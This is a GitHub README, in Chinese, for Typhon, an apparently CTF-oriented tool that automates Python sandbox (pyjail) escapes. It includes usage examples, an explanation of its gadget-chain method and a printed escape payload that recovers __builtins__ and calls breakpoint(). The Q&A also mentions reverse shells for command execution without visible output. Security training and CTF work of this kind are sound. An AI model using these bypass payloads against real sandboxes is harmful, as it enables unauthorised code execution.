LamentXU123/Typhon
GitHub: LamentXU123/Typhon
Python沙箱逃逸(pyjail)一把梭工具,通过自动化搜索绕过路径让CTF选手无需手动构造payload即可解决pyjail题目。
Stars: 328 | Forks: 26
# Typhon:让你无需动脑解决 pyjail
[](https://pepy.tech/projects/typhonbreaker)




[](https://codecov.io/gh/LamentXU123/Typhon)
听着,我已经受够那些愚蠢的 CTF pyjail 题目了——每次我都要浪费时间在又臭又长的黑名单和各种 pyjail 总结之间找哪个链子没被过滤,或者在命名空间里一个一个运行 `dir()` 去找能用的东西。这简直就是一种折磨。
所以这就是 Typhon(提丰),一个致力于让你不需要脑子也能做 pyjail 的一把梭工具。

文档: https://typhon.lamentxu.top/
博客: https://www.cnblogs.com/LAMENTXU/articles/19101758
**请务必看完本 readme 后再使用 Typhon 工具,尤其是 [Q&A](#QA) 部分。**
- [亮点](#Highlights)
- [如何使用](#How-to-Use)
- [Q&A](#QA)
- [概念验证](#Proof-of-Concept)
- [局限性](#Limitations)
- [里程碑](#Milestones)
- [贡献](#Contributing)
- [致谢](#Credits)
- [许可证](#License)
## 亮点
- 完全开源,免费的一把梭工具
- 不需要大脑就能完成 pyjail 题目,爱护您的脑细胞和眼球
- 拥有数百条 gadgets 和几乎所有主流的 bypass 方法
- 支持多种函数以达成不同功能,如 RCE 用 `bypassRCE()`, 读文件用 `bypassRead()` 等等
- 不依赖第三方库(包含 CLI/WebUI,均为标准库实现)
## 如何使用
### 安装
你可以使用 pip 进行安装:
```
pip install TyphonBreaker
```
### 一步步教程
你可以通过 [示例文档](https://typhon.lamentxu.top/zh-cn/latest/EXAMPLE.html) 中的例题来学习 Typhon 的实战用法。以下仅仅提供一个示例。
假设有如下题目:
```
import re
def safe_run(cmd):
if len(cmd) > 160:
return "Command too long"
if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):
return "WAF!"
if re.match(r'.*import.*', cmd):
return "WAF!"
exec(cmd, {'__builtins__': {}})
safe_run(input("Enter command: "))
```
**步骤 1. 分析 waf**
首先,我们需要分析一下 pyjail waf 的功能(这可能是唯一需要大脑的地方)。
可以看出,上述题目的 waf 如下:
- 限制长度最大值为 160
- 在 exec 的命名空间里没有 `__builtins__`
- 禁止使用 `builtins`, `import`, `{}` 字符
- 设置了正则表达式 `'.*import.*'` 限制条件
**步骤 2. 将 waf 导入 Typhon**
首先我们将 exec 行删除:
```
import re
def safe_run(cmd):
if len(cmd) > 160:
return "Command too long"
if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):
return "WAF!"
if re.match(r'.*import.*', cmd):
return "WAF!"
safe_run(input("Enter command: "))
```
然后,我们以 Typhon 对应的 bypass 函数代替 exec 行,在对应位置导入 WAF, **并在该行上方 `import Typhon`**:
```
import re
def safe_run(cmd):
import Typhon
Typhon.bypassRCE(cmd,
banned_chr=['__builtins__', 'import', '{}'],
banned_re='.*import.*',
local_scope={'__builtins__': {}},
max_length=160)
safe_run(input("Enter command: "))
```
**步骤 3. 运行**
运行你的题目程序,等待 **Jail broken** 的信息出现即可。

### WebUI

**方式一:命令行启动**
```
typhonbreaker webui
```
浏览器打开:`http://127.0.0.1:6240`
**方式二:Python API 启动(可注入当前变量空间)**
在题目脚本中直接调用 `Typhon.webui(use_current_scope=True)` 来启动 WebUI,
并自动将当前 `__main__` 全局变量空间作为 local_scope 注入——效果等同于内联 `import Typhon` 再 `Typhon.bypassRCE/bypassREAD`,但可通过浏览器 UI 交互操作。这样可以填写命名空间内题目自定义的变量。
```
import re
def safe_run(cmd):
if re.match(r'.*import.*', cmd):
return "WAF!"
import Typhon
Typhon.webui(use_current_scope=True) # 与 bypassRCE/bypassREAD 相似
```
启动后,WebUI 的 "Local Scope" 字段留空即自动使用注入的变量空间,输入框上方会显示绿色提示横幅。
若题目 `exec` 使用了受限命名空间(如 `{'__builtins__': {}}`),仍需在 UI 中手动填写。

### Docker WebUI
本仓库包含用于构建 WebUI 镜像的 `Dockerfile`,并提供 GitHub Actions 自动发布到 GHCR。
1. 拉取并运行:
```
docker run --rm -p 6240:6240 ghcr.io/lamentxu123/typhonbreaker-webui:latest
```
2. 或使用 compose:
```
docker compose up --build
```
自定义宿主机端口(容器内仍是 6240):
```
TYPHONBREAKER_PORT=7000 docker compose up --build
```
## Q&A
- 何时 `import Typhon`?
一定要将行 `import Typhon` 放在 `Typhon` 内置绕过函数的上一行(即使你患有 PEP-8 强迫症)。否则,`Typhon` 将无法通过栈帧获取当前的全局变量空间。
**推荐做法:**
```
def safe_run(cmd):
import Typhon
Typhon.bypassRCE(cmd,
banned_chr=['builtins', 'os', 'exec', 'import'])
safe_run('cat /f*')
```
**错误做法:**
```
import Typhon
def safe_run(cmd):
Typhon.bypassRCE(cmd,
banned_chr=['builtins', 'os', 'exec', 'import'])
safe_run('cat /f*')
```
- 为什么需要使用与题目相同的 python 版本?
Pyjail 中存在一些通过索引寻找对应 object 的 gadgets(如继承链)。继承链的利用随着索引变化很大。因此,请务必确保 Typhon 的运行环境与题目相同。
**无法保证?**
是的,大多数题目都不会给出对应的 python 版本。因此,**Typhon 会在使用涉及版本的 gadgets 时做出提示**。

这种情况下往往需要 CTF 选手自己去找题目环境中该 gadgets 需要的索引值。
- 如果题目的 `exec` 和 `eval` 没有限制命名空间怎么办?
假设题目没有限制命名空间,则不必填写 `local_scope` 参数。Typhon 会自动使用 `import Typhon` 时的当前命名空间进行绕过
- 这个 payload 我用不了能不能换一个?
你可以在参数中加上 `print_all_payload=True`,Typhon 就会打印其生成的所有 payload。
- 这个 WEB 题好像没开放 stdin,我 `exec(input())` 没用怎么办?
你可以在参数中加上 `interactive=False`,Typhon 就会禁止使用所有涉及 `stdin` 的 payload。
- 最后输出的 payload 没回显怎么办?
对于 `bypassRCE`,我们认为:**只要命令得到了执行,就是 RCE 成功。** 至于回显问题,你可以选择反弹 shell,时间盲注,或者:添加 `print_all_payload=True` 参数,查看所有 payload,其中可能含有能够成功回显的 payload。
## 概念验证
Typhon 的工作原理如下:
### bypass by path & technique
我们定义两种 bypass 方式:
- path: 通过不同的载荷进行绕过(例如 `os.system('calc')` 和 `subprocess.Popen('calc')`)
- technique: 使用不同技术对相同的有效载荷进行处理从而绕过(例如,`os.system('c'+'a'+'l'+'c')` 和 `os.system('clac'[::-1])`)
Typhon 内置了上百种 path。每次我们要绕过获取某个东西时,我们先通过 local_scope 找到所有可以用的 `path`,接下来,通过 `bypasser.py` 中的 `technique` 生成每个 `path` 对应的不同变体,并尝试绕过黑名单。
### gadgets chain
本思路受到 [pyjailbreaker](https://github.com/jailctf/pyjailbreaker) 工具的启发。
pyjailbreaker 不直接通过 gadgets 一步到位实现 RCE,而是一步一步寻找 RCE 链条中需要的项。如假设存在下列黑名单:
- 本地命名空间无 `__builtins__`
- 禁止使用 `builtins` 字符
对于这个 WAF,Typhon 是这样处理的:
- 首先,我们通过 `'J'.__class__.__class__` 获取 `type`
- 随后,我们找到获取 type 后可能可以获取 builtins 的 RCE 链子 `TYPE.__subclasses__(TYPE)[0].register.__globals__['__builtins__']`
- 已知题目黑名单过滤了 `__builtins__` 字符,则我们将此 path 投入 bypasser 产生数十种变体。选择其中最短的变体:`TYPE.__subclasses__(TYPE)[0].register.__globals__['__snitliub__'[::-1]]`
- 随后,我们找到获取 ``__builtins__`` 后的 RCE 链子 `BUILTINS_SET['breakpoint']()`
- 最后,我们将代表 builtins 字典的占位符 `BUILTINS_SET` 替换为上步中获取的 `__builtins__` 路径,以此类推,将 `TYPE` 占位符替换为真实的路径,就得到了最终的 payload。
```
'J'.__class__.__class__.__subclasses__('J'.__class__.__class__)[0].register.__globals__['__snitliub__'[::-1]]['breakpoint']()
```
### 逐步流程
Typhon 的 workflow 顺序如下:
- 每一个终点函数(`bypassRCE`, `bypassREAD`,etc.)都会调用主函数 `bypassMAIN`,主函数会尽可能搜集所有的可用 gadgets(如上例中的 `type`)并将收集到的内容传递给对应的下级函数。
- `bypassMAIN` 函数在简单分析完当前的变量空间后,会:
- 尝试直接 RCE(如 `help()`, `breakporint()`)
- 尝试获取生成器
- 尝试获取 type
- 尝试获取 object
- 尝试获取 bytes
- 如当前空间中的 ``__builtins__`` 未被删除,但被修改,尝试恢复(如 `id.__self__`)
- 如当前空间中的 ``__builtins__`` 被删除,尝试从其他命名空间恢复
- 承上,尝试继承链绕过
- 尝试获取 import 包的能力
- 尝试直接通过可能恢复的 ``__builtins__`` RCE
- 将结果传递给下级函数
- 下级函数拿到 `bypassMAIN` 的结果后,会根据该函数所实现的需求,选择对应的 gadgets 进行处理(如 `bypassRCE` 专注于 RCE,`bypassREAD` 专注于文件读取,`bypassENV` 专注于读取环境变量)。其过程与上述相似。
## 局限性
- 目前 Typhon 只支持 python 3.9 及以上版本。
- 目前 Typhon 只支持 linux 沙箱。
- 目前 Typhon 尚无法绕过 audithook 沙箱。
- 由于 Typhon 采用局部最优的递归策略,对于一些简单的题目,反而需要耗时更久(约 1min)。
- 目前已知的不支持的 bypass 方法:
- Typhon 不支持以 `list.pop(0)` 代替 `list[0]`,这是因为 Typhon 所生成的 payload 都需要经过本地执行验证才能成立,而 `pop` 方法在验证时会将元素从列表中删除,从而破坏后续环境。
## 里程碑
### v1.0 (已发布)
- [x] 实现基本框架
### v1.1
- [ ] 实现更多绕过器
- [x] 使用魔术方法替换二元运算符 (`a.__add__(b)` 替换 `a+b`)
- [ ] `list.pop(0)` 替换 `list[0]`
- [x] `list(dict(a=1))[0]` 替换 `'a'`
- [x] `str()` 替换空字符串
- [ ] 实现内置的 bash bypasser
- [x] 更好的 `bypassREAD` 函数
- [x] 实现白名单功能
- [x] 自动寻找 `bytes`
### v1.2
- [ ] 实现 `audithook` 沙箱的绕过
- [ ] 在没有长度限制的情况下,不使用局部长度最优的递归算法
- [ ] 实现 `bypassENV` 函数,用于环境变量的读取
### 提供 Typhon 无法解出的题目
我们将长期收集 Typhon 无法解出的题目。这对提升工具性能及其重要!如果你碰到无法一把梭的题目,请于本仓库打开 issue,并写明题目来源(最好有对应的题解),我们会尽可能实现对该题目的自动求解。
**特别感谢**
@ [黄豆安全实验室](https://hdsec.cn)给予我必须的鼓励
@ [pyjailbreaker](https://github.com/jailctf/pyjailbreaker)项目给予我启发
## 许可证
这个项目在 [Apache 2.0](https://github.com/LamentXU123/Typhon/blob/main/LICENSE) 协议下发布。
Copyright (c) 2025 Weilin Du.
## 404星链计划
Typhon 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
Typhon 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
标签:CTF-Writeup, DNS 反向解析, PyJail, Python, Python沙箱逃逸, RCE, SSTI, 一把梭, 反序列化, 命名空间污染, 提权, 文档结构分析, 无后门, 白名单绕过, 绕过工具, 网络调试, 自动化, 请求拦截, 逆向工具, 黑名单绕过